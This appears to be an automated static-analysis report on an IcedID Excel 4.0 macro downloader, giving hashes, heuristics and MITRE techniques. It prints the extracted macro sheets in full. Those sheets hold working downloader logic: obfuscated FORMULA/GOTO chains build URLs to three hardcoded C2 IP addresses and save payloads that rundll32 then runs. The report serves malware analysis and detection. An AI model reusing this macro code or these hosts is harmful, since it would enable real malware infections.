IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 34c1c0fb8ef7b60a…

MALICIOUS

Office (OOXML)

170.9 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-23
MD5: 692275712512ad2b1e0304d9eff7df79 SHA-1: 6578fb08473d35ba192b642f4c4b8a678c834993 SHA-256: 34c1c0fb8ef7b60aa3647301f33ab71ca24ccc13deaefc21bbeec0afb0ab83dd
250 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros that utilize dangerous functions like FORMULA, GOTO, and HALT to download and execute a second-stage payload. Specifically, the macros attempt to execute 'rundll32 ..\lertio.cersw1,DllRegisterServer' and 'rundll32 ..\lertio.cersw2,DllRegisterServer', indicating a downloader functionality. The ClamAV detection as 'Xls.Downloader.IcedID' further supports this assessment.

Heuristics 6

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (6 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, GOTO, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 6 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1190 bytes
SHA-256: e26278d9df62929caddc39c2675d1a93c805965a35896b4c4240468b728373e2
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0000-000000000000}"><dimension ref="A1"/><sheetViews><sheetView showFormulas="1" tabSelected="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="2"/></cols><sheetData/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><drawing r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 2902 bytes
SHA-256: 5f4ba7159c1da7e493848f74e3669405dc7409a06e720ced64dc3eb8a5827a76
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0100-000000000000}"><dimension ref="C20:G35"/><sheetViews><sheetView showFormulas="1" topLeftCell="A4" workbookViewId="0"><selection activeCell="A4" sqref="A4"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="8.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.5703125" style="1"/></cols><sheetData><row r="20" spans="3:7" x14ac:dyDescent="0.25"><c r="F20" s="1" t="b"><f>FORMULA(Sheet000!P16,F27)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="3:7" x14ac:dyDescent="0.25"><c r="F23" s="1" t="str"><f>NOW()&amp;".dat"</f><v>44329,6550195602.dat</v></c></row><row r="25" spans="3:7" x14ac:dyDescent="0.25"><c r="C25" s="1" t="s"><v>4</v></c></row><row r="26" spans="3:7" x14ac:dyDescent="0.25"><c r="C26" s="1" t="s"><v>6</v></c></row><row r="27" spans="3:7" x14ac:dyDescent="0.25"><c r="C27" s="1" t="s"><v>5</v></c><c r="G27" s="1" t="str"><f>"htt"</f><v>htt</v></c></row><row r="28" spans="3:7" x14ac:dyDescent="0.25"><c r="C28" s="1" t="s"><v>15</v></c><c r="E28" s="1" t="str"><f>"195.123.220.142/"</f><v>195.123.220.142/</v></c><c r="F28" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;G28&amp;E28&amp;F23,"..\lertio.cersw",0,0)</f><v>#NAME?</v></c><c r="G28" s="1" t="s"><v>11</v></c></row><row r="29" spans="3:7" x14ac:dyDescent="0.25"><c r="C29" s="1" t="s"><v>14</v></c><c r="E29" s="1" t="str"><f>"185.141.27.180/"</f><v>185.141.27.180/</v></c><c r="F29" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;G28&amp;E29&amp;F23,"..\lertio.cersw1",0,0)</f><v>#NAME?</v></c></row><row r="30" spans="3:7" x14ac:dyDescent="0.25"><c r="C30" s="1" t="s"><v>1</v></c><c r="E30" s="1" t="str"><f>"190.14.37.72/"</f><v>190.14.37.72/</v></c><c r="F30" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;G28&amp;E30&amp;F23,"..\lertio.cersw2",0,0)</f><v>#NAME?</v></c></row><row r="31" spans="3:7" x14ac:dyDescent="0.25"><c r="C31" s="1" t="s"><v>0</v></c></row><row r="35" spans="6:6" x14ac:dyDescent="0.25"><c r="F35" s="1" t="e"><f>GOTO(Sheet2!H13)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 2297 bytes
SHA-256: f29a49c753318e85f442bed44c64f292c1b7fd6c5ed8b8668c3938c69145161e
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="H19:L31"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="8.140625" style="1"/><col min="8" max="9" width="8.140625" style="1" customWidth="1"/><col min="10" max="16384" width="8.140625" style="1"/></cols><sheetData><row r="19" spans="8:12" x14ac:dyDescent="0.25"><c r="H19" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J18&amp;Sheet000!J19,H25)=PI()=PI()=PI()</f><v>0</v></c><c r="J19" s="1" t="s"><v>4</v></c></row><row r="20" spans="8:12" x14ac:dyDescent="0.25"><c r="J20" s="1" t="s"><v>12</v></c></row><row r="21" spans="8:12" x14ac:dyDescent="0.25"><c r="J21" s="1" t="s"><v>13</v></c></row><row r="22" spans="8:12" x14ac:dyDescent="0.25"><c r="J22" s="1" t="s"><v>7</v></c><c r="K22" s="1" t="s"><v>10</v></c><c r="L22" s="1" t="s"><v>9</v></c></row><row r="23" spans="8:12" x14ac:dyDescent="0.25"><c r="J23" s="1" t="s"><v>8</v></c></row><row r="24" spans="8:12" x14ac:dyDescent="0.25"><c r="J24" s="1" t="s"><v>3</v></c></row><row r="25" spans="8:12" x14ac:dyDescent="0.25"><c r="J25" s="1" t="s"><v>2</v></c></row><row r="31" spans="8:12" x14ac:dyDescent="0.25"><c r="H31" s="1" t="e"><f>GOTO(Sheet3!G2)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 1477 bytes
SHA-256: 966a712c4f0f0d2f58ef2ea09ca169fd5d5278d9396ce226e09ea14a32d1074e
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1155E9B9-B0CD-42F9-A966-3A754062B27E}"><dimension ref="G16:G23"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.140625" style="1"/></cols><sheetData><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J21&amp;Sheet000!J19,G19)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="7:7" x14ac:dyDescent="0.25"><c r="G23" s="1" t="e"><f>GOTO(Sheet4!G5)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet5.xml 1451 bytes
SHA-256: 84368b896055b80ba37112653973d9ab4ada45ec06389956e8791ed998edcdc5
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{8D29E0F2-14A8-4D3C-A016-AA1287FA05D1}"><dimension ref="G16:G23"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8" style="1"/></cols><sheetData><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J22&amp;Sheet000!J19,G19)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="7:7" x14ac:dyDescent="0.25"><c r="G23" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1476 bytes
SHA-256: 68e2eada477a01dd45889d7781ac27297df589224a5824d7ff63a37df7f5bc75
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{65E179ED-D9FF-4EED-BC75-2D2CB5EF5CA2}"><dimension ref="A10:A15"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="A2" sqref="A2"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="10" spans="1:1" x14ac:dyDescent="0.25"><c r="A10" s="1" t="b"><f>ON.TIME(NOW()+"00:00:02","Hot")</f><v>0</v></c></row><row r="15" spans="1:1" x14ac:dyDescent="0.25"><c r="A15" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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